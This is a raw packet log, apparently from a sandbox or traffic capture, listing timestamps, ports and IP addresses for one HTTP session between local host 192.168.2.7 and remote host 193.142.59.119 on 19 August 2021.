Aug 19, 2021 07:53:09.403472900 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.403512001 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.403525114 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.403554916 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.403649092 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.437673092 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.437720060 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.437753916 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.437786102 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.437797070 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.437824011 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.437829971 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.437855959 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.437887907 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.437897921 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.437920094 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.438013077 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.438015938 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.438046932 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.438087940 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.440330982 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.440370083 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.440402031 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.440418959 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.440514088 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.440546989 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.440558910 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.440578938 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.440609932 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.440623045 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.440640926 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.440677881 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.440681934 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.440860033 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.440896988 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.440902948 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.440929890 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.440963030 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.440968990 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.441059113 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441092014 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441104889 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.441189051 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441220999 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441246986 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441272974 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441301107 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.441304922 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441335917 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441368103 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441401958 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441430092 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.441433907 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441437960 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.441471100 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441478014 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.441505909 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441538095 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441562891 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.441572905 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441607952 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441618919 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.441641092 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.441687107 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.471268892 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471313953 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471343994 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471370935 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471395969 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.471399069 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471426010 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.471426010 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471446991 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471468925 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471496105 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471499920 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.471522093 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471539974 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.471546888 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471575022 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.471579075 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471609116 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471632957 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.471636057 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471662045 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471683979 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.471689939 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471714973 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471739054 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.471740961 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.471787930 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.474541903 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.474575996 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.474617958 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.474654913 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.474662066 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.474685907 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.474713087 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.474719048 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.474739075 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.474757910 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.474765062 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.474812984 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.474843025 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.474874973 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.474901915 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.474926949 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.474936008 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.474952936 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.474973917 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.474999905 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.475028038 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.475044966 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.475048065 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.475065947 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.475079060 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.475097895 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.475109100 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.475138903 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.475183010 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.475214958 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.475272894 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.475331068 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.475367069 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.475400925 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.475406885 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.475449085 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.475462914 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.475493908 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.475528955 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.475548029 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.475557089 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.475619078 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.506365061 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506392002 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506411076 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506436110 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506479025 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506498098 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506525040 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506542921 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506547928 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.506560087 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506577969 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506603003 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506613016 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.506623030 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506647110 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506669998 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506691933 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.506712914 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506732941 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506743908 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.506753922 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506778955 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506788015 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.506804943 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506829023 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.506844044 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.506866932 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.506906033 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.508977890 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509042025 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509093046 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509140015 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509166956 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509187937 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509212017 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509236097 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509258032 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509274960 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509295940 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509311914 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509329081 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509335041 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.509351015 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509370089 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509390116 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509407997 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509418011 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.509432077 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509449959 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509464025 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.509469986 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509488106 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509505033 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509515047 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.509529114 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509548903 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.509560108 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.509615898 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.539437056 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539494038 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539545059 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539577961 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539621115 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539637089 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539649963 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539668083 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539688110 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539705038 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539731026 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539742947 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.539752007 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539774895 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.539777994 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539796114 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539808035 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539824009 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539844036 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539855003 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.539856911 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539875031 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539889097 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.539892912 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539910078 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539930105 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539948940 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.539951086 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.539968967 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.540015936 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.540059090 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.542968988 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543015003 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543041945 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543066978 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543100119 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543109894 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.543152094 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.543207884 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543236971 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543262005 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543283939 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.543286085 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543311119 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543322086 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.543339014 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543361902 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543370962 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.543389082 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543416023 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543442011 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543488979 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.543504000 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543525934 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.543529987 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543555021 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543560028 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.543579102 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543602943 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543607950 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.543627024 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543654919 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543658972 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.543679953 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543703079 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.543725014 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.543767929 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.573807955 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.573950052 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574028015 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.574058056 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574158907 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574222088 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.574340105 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574403048 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574455023 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.574460030 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574501991 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574543953 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574557066 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.574601889 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574659109 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.574670076 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574714899 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574754000 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574769020 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.574795961 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574827909 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574860096 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574894905 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574907064 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.574935913 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574947119 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.574976921 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.574989080 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.575016975 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575059891 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575067997 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.575211048 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575258017 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575273037 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.575300932 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575356960 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.575357914 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575393915 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575427055 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575438023 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.575472116 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575505018 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575529099 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.575546026 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575587034 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575608015 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.575639963 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575690985 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.575711012 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575757027 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575807095 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.575814962 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575856924 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575902939 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.575918913 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575958014 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.575999975 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576011896 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.576041937 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576076984 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576092958 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.576114893 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576153994 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576164007 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.576191902 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576227903 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576267004 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.576296091 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576340914 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576348066 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.576386929 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576431036 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576431990 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.576478958 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576524019 CEST	80	49718	193.142.59.119	192.168.2.7
